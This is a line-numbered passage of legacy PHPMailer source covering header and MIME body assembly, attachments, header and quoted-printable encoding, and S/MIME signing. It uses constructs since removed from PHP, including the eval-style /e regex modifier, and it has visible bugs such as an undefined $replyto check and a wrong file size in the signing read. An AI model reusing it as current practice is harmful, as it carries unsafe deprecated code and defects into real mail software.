2071 function SmtpClose() {
2072 if($this->smtp != NULL) {
2073 if($this->smtp->Connected()) {
2074 $this->smtp->Quit();
2075 $this->smtp->Close();
2076 }
2077 }
2078 }
2079
2080 /**
2081 * Sets the language for all class error messages. Returns false
2082 * if it cannot load the language file. The default language type
2083 * is English.
2084 * @param string $lang_type Type of language (e.g. Portuguese: "br")
2085 * @param string $lang_path Path to the language file directory
2086 * @access public
2087 * @return bool
2088 */
2089 function SetLanguage($lang_type, $lang_path = 'language/') {
2090 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
2091 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
2092 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
2093 include($lang_path.'phpmailer.lang-en.php');
2094 } else {
2095 $this->SetError('Could not load language file');
2096 return false;
2097 }
2098 $this->language = $PHPMAILER_LANG;
2099
2100 return true;
2101 }
2102
2103 /////////////////////////////////////////////////
2104 // METHODS, MESSAGE CREATION
2105 /////////////////////////////////////////////////
2106
2107 /**
2108 * Creates recipient headers.
2109 * @access private
2110 * @return string
2111 */
2112 function AddrAppend($type, $addr) {
2113 $addr_str = $type . ': ';
2114 $addr_str .= $this->AddrFormat($addr[0]);
2115 if(count($addr) > 1) {
2116 for($i = 1; $i < count($addr); $i++) {
2117 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2118 }
2119 }
2120 $addr_str .= $this->LE;
2121
2122 return $addr_str;
2123 }
2124
2125 /**
2126 * Formats an address correctly.
2127 * @access private
2128 * @return string
2129 */
2130 function AddrFormat($addr) {
2131 if(empty($addr[1])) {
2132 $formatted = $this->SecureHeader($addr[0]);
2133 } else {
2134 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2135 }
2136
2137 return $formatted;
2138 }
2139
2140 /**
2141 * Wraps message for use with mailers that do not
2142 * automatically perform wrapping and for quoted-printable.
2143 * Original written by philippe.
2144 * @access private
2145 * @return string
2146 */
2147 function WrapText($message, $length, $qp_mode = false) {
2148 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2149 // If utf-8 encoding is used, we will need to make sure we don't
2150 // split multibyte characters when we wrap
2151 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2152
2153 $message = $this->FixEOL($message);
2154 if (substr($message, -1) == $this->LE) {
2155 $message = substr($message, 0, -1);
2156 }
2157
2158 $line = explode($this->LE, $message);
2159 $message = '';
2160 for ($i=0 ;$i < count($line); $i++) {
2161 $line_part = explode(' ', $line[$i]);
2162 $buf = '';
2163 for ($e = 0; $e<count($line_part); $e++) {
2164 $word = $line_part[$e];
2165 if ($qp_mode and (strlen($word) > $length)) {
2166 $space_left = $length - strlen($buf) - 1;
2167 if ($e != 0) {
2168 if ($space_left > 20) {
2169 $len = $space_left;
2170 if ($is_utf8) {
2171 $len = $this->UTF8CharBoundary($word, $len);
2172 } elseif (substr($word, $len - 1, 1) == "=") {
2173 $len--;
2174 } elseif (substr($word, $len - 2, 1) == "=") {
2175 $len -= 2;
2176 }
2177 $part = substr($word, 0, $len);
2178 $word = substr($word, $len);
2179 $buf .= ' ' . $part;
2180 $message .= $buf . sprintf("=%s", $this->LE);
2181 } else {
2182 $message .= $buf . $soft_break;
2183 }
2184 $buf = '';
2185 }
2186 while (strlen($word) > 0) {
2187 $len = $length;
2188 if ($is_utf8) {
2189 $len = $this->UTF8CharBoundary($word, $len);
2190 } elseif (substr($word, $len - 1, 1) == "=") {
2191 $len--;
2192 } elseif (substr($word, $len - 2, 1) == "=") {
2193 $len -= 2;
2194 }
2195 $part = substr($word, 0, $len);
2196 $word = substr($word, $len);
2197
2198 if (strlen($word) > 0) {
2199 $message .= $part . sprintf("=%s", $this->LE);
2200 } else {
2201 $buf = $part;
2202 }
2203 }
2204 } else {
2205 $buf_o = $buf;
2206 $buf .= ($e == 0) ? $word : (' ' . $word);
2207
2208 if (strlen($buf) > $length and $buf_o != '') {
2209 $message .= $buf_o . $soft_break;
2210 $buf = $word;
2211 }
2212 }
2213 }
2214 $message .= $buf . $this->LE;
2215 }
2216
2217 return $message;
2218 }
2219
2220 /**
2221 * Finds last character boundary prior to maxLength in a utf-8
2222 * quoted (printable) encoded string.
2223 * Original written by Colin Brown.
2224 * @access private
2225 * @param string $encodedText utf-8 QP text
2226 * @param int $maxLength find last character boundary prior to this length
2227 * @return int
2228 */
2229 function UTF8CharBoundary($encodedText, $maxLength) {
2230 $foundSplitPos = false;
2231 $lookBack = 3;
2232 while (!$foundSplitPos) {
2233 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2234 $encodedCharPos = strpos($lastChunk, "=");
2235 if ($encodedCharPos !== false) {
2236 // Found start of encoded character byte within $lookBack block.
2237 // Check the encoded byte value (the 2 chars after the '=')
2238 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2239 $dec = hexdec($hex);
2240 if ($dec < 128) { // Single byte character.
2241 // If the encoded char was found at pos 0, it will fit
2242 // otherwise reduce maxLength to start of the encoded char
2243 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2244 $maxLength - ($lookBack - $encodedCharPos);
2245 $foundSplitPos = true;
2246 } elseif ($dec >= 192) { // First byte of a multi byte character
2247 // Reduce maxLength to split at start of character
2248 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2249 $foundSplitPos = true;
2250 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2251 $lookBack += 3;
2252 }
2253 } else {
2254 // No encoded character found
2255 $foundSplitPos = true;
2256 }
2257 }
2258 return $maxLength;
2259 }
2260
2261 /**
2262 * Set the body wrapping.
2263 * @access private
2264 * @return void
2265 */
2266 function SetWordWrap() {
2267 if($this->WordWrap < 1) {
2268 return;
2269 }
2270
2271 switch($this->message_type) {
2272 case 'alt':
2273 /* fall through */
2274 case 'alt_attachments':
2275 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2276 break;
2277 default:
2278 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2279 break;
2280 }
2281 }
2282
2283 /**
2284 * Assembles message header.
2285 * @access private
2286 * @return string
2287 */
2288 function CreateHeader() {
2289 $result = '';
2290
2291 /* Set the boundaries */
2292 $uniq_id = md5(uniqid(time()));
2293 $this->boundary[1] = 'b1_' . $uniq_id;
2294 $this->boundary[2] = 'b2_' . $uniq_id;
2295
2296 $result .= $this->HeaderLine('Date', $this->RFCDate());
2297 if($this->Sender == '') {
2298 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2299 } else {
2300 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2301 }
2302
2303 /* To be created automatically by mail() */
2304 if($this->Mailer != 'mail') {
2305 if(count($this->to) > 0) {
2306 $result .= $this->AddrAppend('To', $this->to);
2307 } elseif (count($this->cc) == 0) {
2308 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2309 }
2310 if(count($this->cc) > 0) {
2311 $result .= $this->AddrAppend('Cc', $this->cc);
2312 }
2313 }
2314
2315 $from = array();
2316 $from[0][0] = trim($this->From);
2317 $from[0][1] = $this->FromName;
2318 $result .= $this->AddrAppend('From', $from);
2319
2320 /* sendmail and mail() extract Cc from the header before sending */
2321 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2322 $result .= $this->AddrAppend('Cc', $this->cc);
2323 }
2324
2325 /* sendmail and mail() extract Bcc from the header before sending */
2326 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2327 $result .= $this->AddrAppend('Bcc', $this->bcc);
2328 }
2329 if($replyto != "")
2330 {
2331 if(count($this->ReplyTo) > 0) {
2332 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2333 }
2334 }
2335 /* mail() sets the subject itself */
2336 if($this->Mailer != 'mail') {
2337 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2338 }
2339
2340 if($this->MessageID != '') {
2341 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2342 } else {
2343 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2344 }
2345 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2346 if($this->ConfirmReadingTo != '') {
2347 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2348 }
2349
2350 // Add custom headers
2351 for($index = 0; $index < count($this->CustomHeader); $index++) {
2352 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2353 }
2354 if (!$this->sign_key_file) {
2355 $result .= $this->HeaderLine('MIME-Version', '1.0');
2356 $result .= $this->GetMailMIME();
2357 }
2358
2359 return $result;
2360 }
2361
2362 /**
2363 * Returns the message MIME.
2364 * @access private
2365 * @return string
2366 */
2367 function GetMailMIME() {
2368 $result = '';
2369 switch($this->message_type) {
2370 case 'plain':
2371 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2372 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2373 break;
2374 case 'attachments':
2375 /* fall through */
2376 case 'alt_attachments':
2377 if($this->InlineImageExists()){
2378 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2379 } else {
2380 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2381 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2382 }
2383 break;
2384 case 'alt':
2385 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2386 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2387 break;
2388 }
2389
2390 if($this->Mailer != 'mail') {
2391 $result .= $this->LE.$this->LE;
2392 }
2393
2394 return $result;
2395 }
2396
2397 /**
2398 * Assembles the message body. Returns an empty string on failure.
2399 * @access private
2400 * @return string
2401 */
2402 function CreateBody() {
2403 $result = '';
2404 if ($this->sign_key_file) {
2405 $result .= $this->GetMailMIME();
2406 }
2407
2408 $this->SetWordWrap();
2409
2410 switch($this->message_type) {
2411 case 'alt':
2412 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2413 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2414 $result .= $this->LE.$this->LE;
2415 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2416 $result .= $this->EncodeString($this->Body, $this->Encoding);
2417 $result .= $this->LE.$this->LE;
2418 $result .= $this->EndBoundary($this->boundary[1]);
2419 break;
2420 case 'plain':
2421 $result .= $this->EncodeString($this->Body, $this->Encoding);
2422 break;
2423 case 'attachments':
2424 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2425 $result .= $this->EncodeString($this->Body, $this->Encoding);
2426 $result .= $this->LE;
2427 $result .= $this->AttachAll();
2428 break;
2429 case 'alt_attachments':
2430 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2431 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2432 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2433 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2434 $result .= $this->LE.$this->LE;
2435 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2436 $result .= $this->EncodeString($this->Body, $this->Encoding);
2437 $result .= $this->LE.$this->LE;
2438 $result .= $this->EndBoundary($this->boundary[2]);
2439 $result .= $this->AttachAll();
2440 break;
2441 }
2442
2443 if($this->IsError()) {
2444 $result = '';
2445 } else if ($this->sign_key_file) {
2446 $file = tempnam("", "mail");
2447 $fp = fopen($file, "w");
2448 fwrite($fp, $result);
2449 fclose($fp);
2450 $signed = tempnam("", "signed");
2451
2452 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2453 $fp = fopen($signed, "r");
2454 $result = fread($fp, filesize($this->sign_key_file));
2455 fclose($fp);
2456 } else {
2457 $this->SetError($this->Lang("signing").openssl_error_string());
2458 $result = '';
2459 }
2460
2461 unlink($file);
2462 unlink($signed);
2463 }
2464
2465 return $result;
2466 }
2467
2468 /**
2469 * Returns the start of a message boundary.
2470 * @access private
2471 */
2472 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2473 $result = '';
2474 if($charSet == '') {
2475 $charSet = $this->CharSet;
2476 }
2477 if($contentType == '') {
2478 $contentType = $this->ContentType;
2479 }
2480 if($encoding == '') {
2481 $encoding = $this->Encoding;
2482 }
2483 $result .= $this->TextLine('--' . $boundary);
2484 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2485 $result .= $this->LE;
2486 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2487 $result .= $this->LE;
2488
2489 return $result;
2490 }
2491
2492 /**
2493 * Returns the end of a message boundary.
2494 * @access private
2495 */
2496 function EndBoundary($boundary) {
2497 return $this->LE . '--' . $boundary . '--' . $this->LE;
2498 }
2499
2500 /**
2501 * Sets the message type.
2502 * @access private
2503 * @return void
2504 */
2505 function SetMessageType() {
2506 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2507 $this->message_type = 'plain';
2508 } else {
2509 if(count($this->attachment) > 0) {
2510 $this->message_type = 'attachments';
2511 }
2512 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2513 $this->message_type = 'alt';
2514 }
2515 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2516 $this->message_type = 'alt_attachments';
2517 }
2518 }
2519 }
2520
2521 /* Returns a formatted header line.
2522 * @access private
2523 * @return string
2524 */
2525 function HeaderLine($name, $value) {
2526 return $name . ': ' . $value . $this->LE;
2527 }
2528
2529 /**
2530 * Returns a formatted mail line.
2531 * @access private
2532 * @return string
2533 */
2534 function TextLine($value) {
2535 return $value . $this->LE;
2536 }
2537
2538 /////////////////////////////////////////////////
2539 // CLASS METHODS, ATTACHMENTS
2540 /////////////////////////////////////////////////
2541
2542 /**
2543 * Adds an attachment from a path on the filesystem.
2544 * Returns false if the file could not be found
2545 * or accessed.
2546 * @param string $path Path to the attachment.
2547 * @param string $name Overrides the attachment name.
2548 * @param string $encoding File encoding (see $Encoding).
2549 * @param string $type File extension (MIME) type.
2550 * @return bool
2551 */
2552 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2553 if(!@is_file($path)) {
2554 $this->SetError($this->Lang('file_access') . $path);
2555 return false;
2556 }
2557
2558 $filename = basename($path);
2559 if($name == '') {
2560 $name = $filename;
2561 }
2562
2563 $cur = count($this->attachment);
2564 $this->attachment[$cur][0] = $path;
2565 $this->attachment[$cur][1] = $filename;
2566 $this->attachment[$cur][2] = $name;
2567 $this->attachment[$cur][3] = $encoding;
2568 $this->attachment[$cur][4] = $type;
2569 $this->attachment[$cur][5] = false; // isStringAttachment
2570 $this->attachment[$cur][6] = 'attachment';
2571 $this->attachment[$cur][7] = 0;
2572
2573 return true;
2574 }
2575
2576 /**
2577 * Attaches all fs, string, and binary attachments to the message.
2578 * Returns an empty string on failure.
2579 * @access private
2580 * @return string
2581 */
2582 function AttachAll() {
2583 /* Return text of body */
2584 $mime = array();
2585
2586 /* Add all attachments */
2587 for($i = 0; $i < count($this->attachment); $i++) {
2588 /* Check for string attachment */
2589 $bString = $this->attachment[$i][5];
2590 if ($bString) {
2591 $string = $this->attachment[$i][0];
2592 } else {
2593 $path = $this->attachment[$i][0];
2594 }
2595
2596 $filename = $this->attachment[$i][1];
2597 $name = $this->attachment[$i][2];
2598 $encoding = $this->attachment[$i][3];
2599 $type = $this->attachment[$i][4];
2600 $disposition = $this->attachment[$i][6];
2601 $cid = $this->attachment[$i][7];
2602
2603 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2604 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2605 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2606
2607 if($disposition == 'inline') {
2608 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2609 }
2610
2611 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2612
2613 /* Encode as string attachment */
2614 if($bString) {
2615 $mime[] = $this->EncodeString($string, $encoding);
2616 if($this->IsError()) {
2617 return '';
2618 }
2619 $mime[] = $this->LE.$this->LE;
2620 } else {
2621 $mime[] = $this->EncodeFile($path, $encoding);
2622 if($this->IsError()) {
2623 return '';
2624 }
2625 $mime[] = $this->LE.$this->LE;
2626 }
2627 }
2628
2629 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2630
2631 return join('', $mime);
2632 }
2633
2634 /**
2635 * Encodes attachment in requested format. Returns an
2636 * empty string on failure.
2637 * @access private
2638 * @return string
2639 */
2640 function EncodeFile ($path, $encoding = 'base64') {
2641 if(!@$fd = fopen($path, 'rb')) {
2642 $this->SetError($this->Lang('file_open') . $path);
2643 return '';
2644 }
2645 $magic_quotes = get_magic_quotes_runtime();
2646 set_magic_quotes_runtime(0);
2647 $file_buffer = fread($fd, filesize($path));
2648 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2649 fclose($fd);
2650 set_magic_quotes_runtime($magic_quotes);
2651
2652 return $file_buffer;
2653 }
2654
2655 /**
2656 * Encodes string to requested format. Returns an
2657 * empty string on failure.
2658 * @access private
2659 * @return string
2660 */
2661 function EncodeString ($str, $encoding = 'base64') {
2662 $encoded = '';
2663 switch(strtolower($encoding)) {
2664 case 'base64':
2665 /* chunk_split is found in PHP >= 3.0.6 */
2666 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2667 break;
2668 case '7bit':
2669 case '8bit':
2670 $encoded = $this->FixEOL($str);
2671 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2672 $encoded .= $this->LE;
2673 break;
2674 case 'binary':
2675 $encoded = $str;
2676 break;
2677 case 'quoted-printable':
2678 $encoded = $this->EncodeQP($str);
2679 break;
2680 default:
2681 $this->SetError($this->Lang('encoding') . $encoding);
2682 break;
2683 }
2684 return $encoded;
2685 }
2686
2687 /**
2688 * Encode a header string to best of Q, B, quoted or none.
2689 * @access private
2690 * @return string
2691 */
2692 function EncodeHeader ($str, $position = 'text') {
2693 $x = 0;
2694
2695 switch (strtolower($position)) {
2696 case 'phrase':
2697 if (!preg_match('/[\200-\377]/', $str)) {
2698 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2699 $encoded = addcslashes($str, "\0..\37\177\\\"");
2700 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2701 return ($encoded);
2702 } else {
2703 return ("\"$encoded\"");
2704 }
2705 }
2706 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2707 break;
2708 case 'comment':
2709 $x = preg_match_all('/[()"]/', $str, $matches);
2710 /* Fall-through */
2711 case 'text':
2712 default:
2713 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2714 break;
2715 }
2716
2717 if ($x == 0) {
2718 return ($str);
2719 }
2720
2721 $maxlen = 75 - 7 - strlen($this->CharSet);
2722 /* Try to select the encoding which should produce the shortest output */
2723 if (strlen($str)/3 < $x) {
2724 $encoding = 'B';
2725 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2726 // Use a custom function which correctly encodes and wraps long
2727 // multibyte strings without breaking lines within a character
2728 $encoded = $this->Base64EncodeWrapMB($str);
2729 } else {
2730 $encoded = base64_encode($str);
2731 $maxlen -= $maxlen % 4;
2732 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2733 }
2734 } else {
2735 $encoding = 'Q';
2736 $encoded = $this->EncodeQ($str, $position);
2737 $encoded = $this->WrapText($encoded, $maxlen, true);
2738 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2739 }
2740
2741 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2742 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2743
2744 return $encoded;
2745 }
2746
2747 /**
2748 * Checks if a string contains multibyte characters.
2749 * @access private
2750 * @param string $str multi-byte text to wrap encode
2751 * @return bool
2752 */
2753 function HasMultiBytes($str) {
2754 if (function_exists('mb_strlen')) {
2755 return (strlen($str) > mb_strlen($str, $this->CharSet));
2756 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2757 return False;
2758 }
2759 }
2760
2761 /**
2762 * Correctly encodes and wraps long multibyte strings for mail headers
2763 * without breaking lines within a character.
2764 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2765 * @access private
2766 * @param string $str multi-byte text to wrap encode
2767 * @return string
2768 */
2769 function Base64EncodeWrapMB($str) {
2770 $start = "=?".$this->CharSet."?B?";
2771 $end = "?=";
2772 $encoded = "";
2773
2774 $mb_length = mb_strlen($str, $this->CharSet);
2775 // Each line must have length <= 75, including $start and $end
2776 $length = 75 - strlen($start) - strlen($end);
2777 // Average multi-byte ratio
2778 $ratio = $mb_length / strlen($str);
2779 // Base64 has a 4:3 ratio
2780 $offset = $avgLength = floor($length * $ratio * .75);
2781
2782 for ($i = 0; $i < $mb_length; $i += $offset) {
2783 $lookBack = 0;
2784
2785 do {
2786 $offset = $avgLength - $lookBack;
2787 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2788 $chunk = base64_encode($chunk);
2789 $lookBack++;
2790 }
2791 while (strlen($chunk) > $length);
2792
2793 $encoded .= $chunk . $this->LE;
2794 }
2795
2796 // Chomp the last linefeed
2797 $encoded = substr($encoded, 0, -strlen($this->LE));
2798 return $encoded;
2799 }
2800
2801 /**
2802 * Encode string to quoted-printable.
2803 * @access private
2804 * @return string
2805 */
2806 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2807 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2808 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2809 $eol = "\r\n";
2810 $escape = '=';
2811 $output = '';
2812 while( list(, $line) = each($lines) ) {
2813 $linlen = strlen($line);
2814 $newline = '';
2815 for($i = 0; $i < $linlen; $i++) {
2816 $c = substr( $line, $i, 1 );
2817 $dec = ord( $c );
2818 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2819 $c = '=2E';
2820 }
2821 if ( $dec == 32 ) {
2822 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2823 $c = '=20';
2824 } else if ( $space_conv ) {
2825 $c = '=20';
2826 }
2827 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2828 $h2 = floor($dec/16);
2829 $h1 = floor($dec%16);
2830 $c = $escape.$hex[$h2].$hex[$h1];
2831 }
2832 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2833 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2834 $newline = '';
2835 // check if newline first character will be point or not
2836 if ( $dec == 46 ) {
2837 $c = '=2E';
2838 }
2839 }
2840 $newline .= $c;
2841 } // end of for
2842 $output .= $newline.$eol;
2843 } // end of while
2844 return trim($output);
2845 }
2846
2847 /**
2848 * Encode string to q encoding.
2849 * @access private
2850 * @return string
2851 */
2852 function EncodeQ ($str, $position = 'text') {
2853 /* There should not be any EOL in the string */
2854 $encoded = preg_replace("[\r\n]", '', $str);
2855
2856 switch (strtolower($position)) {
2857 case 'phrase':
2858 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2859 break;
2860 case 'comment':
2861 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2862 case 'text':
2863 default:
2864 /* Replace every high ascii, control =, ? and _ characters */
2865 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2866 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2867 break;
2868 }
2869
2870 /* Replace every spaces to _ (more readable than =20) */
2871 $encoded = str_replace(' ', '_', $encoded);
2872
2873 return $encoded;
2874 }
2875
2876 /**
2877 * Adds a string or binary attachment (non-filesystem) to the list.
2878 * This method can be used to attach ascii or binary data,
2879 * such as a BLOB record from a database.
2880 * @param string $string String attachment data.
2881 * @param string $filename Name of the attachment.
2882 * @param string $encoding File encoding (see $Encoding).
2883 * @param string $type File extension (MIME) type.
2884 * @return void
2885 */
2886 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2887 /* Append to $attachment array */
2888 $cur = count($this->attachment);
2889 $this->attachment[$cur][0] = $string;
2890 $this->attachment[$cur][1] = $filename;
2891 $this->attachment[$cur][2] = $filename;
2892 $this->attachment[$cur][3] = $encoding;
2893 $this->attachment[$cur][4] = $type;
2894 $this->attachment[$cur][5] = true; // isString
2895 $this->attachment[$cur][6] = 'attachment';
2896 $this->attachment[$cur][7] = 0;
2897 }
2898
2899 /**
2900 * Adds an embedded attachment. This can include images, sounds, and
2901 * just about any other document. Make sure to set the $type to an
2902 * image type. For JPEG images use "image/jpeg" and for GIF images
2903 * use "image/gif".
2904 * @param string $path Path to the attachment.
2905 * @param string $cid Content ID of the attachment. Use this to identify
2906 * the Id for accessing the image in an HTML form.
2907 * @param string $name Overrides the attachment name.
2908 * @param string $encoding File encoding (see $Encoding).
2909 * @param string $type File extension (MIME) type.
2910 * @return bool
2911 */
2912 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2913
2914 if(!@is_file($path)) {
2915 $this->SetError($this->Lang('file_access') . $path);
2916 return false;
2917 }
2918
2919 $filename = basename($path);
2920 if($name == '') {
2921 $name = $filename;
2922 }
2923
2924 /* Append to $attachment array */
2925 $cur = count($this->attachment);
2926 $this->attachment[$cur][0] = $path;
2927 $this->attachment[$cur][1] = $filename;
2928 $this->attachment[$cur][2] = $name;
2929 $this->attachment[$cur][3] = $encoding;
2930 $this->attachment[$cur][4] = $type;
2931 $this->attachment[$cur][5] = false;
2932 $this->attachment[$cur][6] = 'inline';
2933 $this->attachment[$cur][7] = $cid;
2934
2935 return true;
2936 }
2937
2938 /**
2939 * Returns true if an inline attachment is present.
2940 * @access private
2941 * @return bool
2942 */
2943 function InlineImageExists() {
2944 $result = false;
2945 for($i = 0; $i < count($this->attachment); $i++) {
2946 if($this->attachment[$i][6] == 'inline') {
2947 $result = true;
2948 break;
2949 }
2950 }
2951
2952 return $result;
2953 }
2954
2955 /////////////////////////////////////////////////
2956 // CLASS METHODS, MESSAGE RESET
2957 /////////////////////////////////////////////////
2958
2959 /**
2960 * Clears all recipients assigned in the TO array. Returns void.
2961 * @return void
2962 */
2963 function ClearAddresses() {
2964 $this->to = array();
2965 }
2966
2967 /**
2968 * Clears all recipients assigned in the CC array. Returns void.
2969 * @return void
2970 */
2971 function ClearCCs() {
2972 $this->cc = array();
2973 }
2974
2975 /**
2976 * Clears all recipients assigned in the BCC array. Returns void.
2977 * @return void
2978 */
2979 function ClearBCCs() {
2980 $this->bcc = array();
2981 }
2982
2983 /**
2984 * Clears all recipients assigned in the ReplyTo array. Returns void.
2985 * @return void
2986 */
2987 function ClearReplyTos() {
2988 $this->ReplyTo = array();
2989 }
2990
2991 /**
2992 * Clears all recipients assigned in the TO, CC and BCC
2993 * array. Returns void.
2994 * @return void
2995 */
2996 function ClearAllRecipients() {
2997 $this->to = array();
2998 $this->cc = array();
2999 $this->bcc = array();
3000 }
3001
3002 /**
3003 * Clears all previously set filesystem, string, and binary
3004 * attachments. Returns void.
3005 * @return void
3006 */
3007 function ClearAttachments() {
3008 $this->attachment = array();
3009 }
3010
3011 /**
3012 * Clears all custom headers. Returns void.
3013 * @return void
3014 */
3015 function ClearCustomHeaders() {
3016 $this->CustomHeader = array();
3017 }
3018
3019 /////////////////////////////////////////////////
3020 // CLASS METHODS, MISCELLANEOUS
3021 /////////////////////////////////////////////////
3022
3023 /**
3024 * Adds the error message to the error container.
3025 * Returns void.
3026 * @access private
3027 * @return void
3028 */
3029 function SetError($msg) {
3030 $this->error_count++;
3031 $this->ErrorInfo = $msg;
3032 }
3033
3034 /**
3035 * Returns the proper RFC 822 formatted date.
3036 * @access private
3037 * @return string
3038 */
3039 function RFCDate() {
3040 $tz = date('Z');
3041 $tzs = ($tz < 0) ? '-' : '+';
3042 $tz = abs($tz);
3043 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
3044 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
3045
3046 return $result;
3047 }
3048
3049 /**
3050 * Returns the appropriate server variable. Should work with both
3051 * PHP 4.1.0+ as well as older versions. Returns an empty string
3052 * if nothing is found.
3053 * @access private
3054 * @return mixed
3055 */
3056 function ServerVar($varName) {
3057 global $HTTP_SERVER_VARS;
3058 global $HTTP_ENV_VARS;
3059
3060 if(!isset($_SERVER)) {
3061 $_SERVER = $HTTP_SERVER_VARS;
3062 if(!isset($_SERVER['REMOTE_ADDR'])) {
3063 $_SERVER = $HTTP_ENV_VARS; // must be Apache
3064 }
3065 }
3066
3067 if(isset($_SERVER[$varName])) {
3068 return $_SERVER[$varName];
3069 } else {
3070 return '';
3071 }
3072 }
3073
3074 /**
